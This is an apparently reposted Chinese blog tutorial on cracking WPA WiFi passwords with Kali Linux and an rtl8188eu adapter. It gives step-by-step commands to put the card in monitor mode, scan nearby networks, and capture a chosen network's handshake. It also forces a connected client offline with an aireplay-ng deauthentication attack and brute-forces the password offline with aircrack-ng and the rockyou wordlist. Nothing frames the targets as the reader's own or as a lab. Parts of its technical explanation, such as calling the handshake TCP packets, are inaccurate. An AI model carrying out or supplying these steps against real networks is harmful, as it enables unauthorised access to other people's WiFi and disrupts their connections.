• 使用kail做wifi渗透,网卡rtl8188eu(超详细)


    前一篇文章讲了如何在虚拟机中安装kail

    1.第一步将网卡挂载到虚拟机中:

    按下图操作即可下图所示

    然后打开终端输入:ifconfig,如下出现wlan0,表示挂载成功

     2.打开kail的无线攻击功能:

    3.查看各接口的状态:

    airmon-ng

    如果你的网卡本身支持监听功能就好。

    如果像我一样显卡的芯片是rtl8188eu本身不支持监听功能的,那么很可能你的PHY栏会显示null,那么后面想监听wifi是不可能的,解决方法只有重新编译驱动,请参考我这篇文章

    4.检查影响aircrack-ng的进程

    当我们将网卡置于monitor模式的时候,会自动地检查影响aircrack-ng的进程。也可以通过以下命令手动检查:

    airmon-ng check

    5.杀死影响aircrack-ng的进程

    以下命令会停掉network managers然后杀死所有影响aircrack-ng的进程:

    airmon-ng check kill

    6.开启monitor模式

    airmon-ng start wlan0

    我的是上面这样,虽然名字没有改成wlan0mon但是也可以用,可能和我的网卡有关系,本身rtl8188eu就是不支持的。

    如果网卡本身支持,正常情况下是这样,会出现wlan0mon或者mon

    7.监听周边wifi:

    airodump-ng wlan0  # 你的后面有mon就跟写上mon

     BSSID为wifi的MAC地址,PWR为信号强弱程度,数值越小信号越强;#DATA为数据量,越大使用的人就越多,CH为信道频率(频道),ESSID为wifi的名称,中文可能会有乱码

    8.对你要破解的wifi进行抓包,以第一个wifi为例子

    sudo airodump-ng --bssid BC:5F:6F:3D:03:74 -c 13 -w /home/answer/aaa/a1/a1 wlan0

    格式:airodump-ng --bssid BSSID -c 信道频率 -w 抓包存储的路径 wlan0mon

     9.通常只是第8步很难抓到包,所以需要对已连接的终端进行攻击,使它掉线重连,以此来获取数据包。

    通过上面的图片和一看到,有三个正在连接的终端,选一个信号最强的也就是PWR是-76的,以此为例,重新打开一个终端输入如下:

    aireplay-ng -0 2 -a BC:5F:6F:3D:03:74 -c B8:37:65:94:5D:13 wlan0

    (0 WiFi设备无限次数,-0 2则攻击2次。攻击原理是:先让设备掉线,设备会再自动连接,并发这个自动连接过程会进行三次握手,会发送tcp包(里面包含加密的密码数据),我方伪装成WiFi热点去窃取该数据包。我方窃取后即可用字典穷举法暴力破解加密的WiFi密码,数据包里面的密码是哈希加密的,哈希加密只能正向)

    10.当第8步中的终端出现WPA handshake时,表示抓包成功

    两个终端都按Ctrl+c停止,不然那边会一直断网的

    cd打开抓包的目录,ls列出来,就看到我们抓到的数据包

    11.字典解密

    解压kail中自带的字典,在/usr/share/wordlists/

     有很多,最大的是rockyou.txt.gz,解压后大约160m

    解压命令:

    gzip -d/usr/share/wordlists/rockyou.txt.gz
    
    # 或者
    
    # zcat rockyou.txt.gz > r.txt # 新建一个txt文件

    最后,进行字典破解cap文件:

    aircrack-ng -w /usr/share/wordlists/rockyou.txt /home/wifi-0.1.cap

    漫长只等待,在这个过程中,就不需要网卡了,只是离线破解,所以网卡可以该干嘛干嘛就行,重启network-manager命令是:service network-manager start 

  • 相关阅读:
    接口测试总结
    在 github 上获取源码
    推荐一个css帮助手册的版本 同时提供chm和在线
    由csdn开源项目评选中闹出刷票问题想到投票程序的设计
    由一个园友因为上传漏洞导致网站被攻破而得到的教训
    让 SVN (TortoiseSVN)提交时忽略bin和obj目录
    未能进入中断模式,原因如下:源文件“XXXXXX”不属于正在调试的项目。
    未能加载文件或程序集“XXXXX”或它的某一个依赖项。试图加载格式不正确的程序。
    .Net AppDomain.CurrentDomain.AppendPrivatePath(@"Libs");
    C# Remoting的一个简单例子
  • 原文地址:https://www.cnblogs.com/answerThe/p/12488383.html
Copyright © 2020-2023  润新知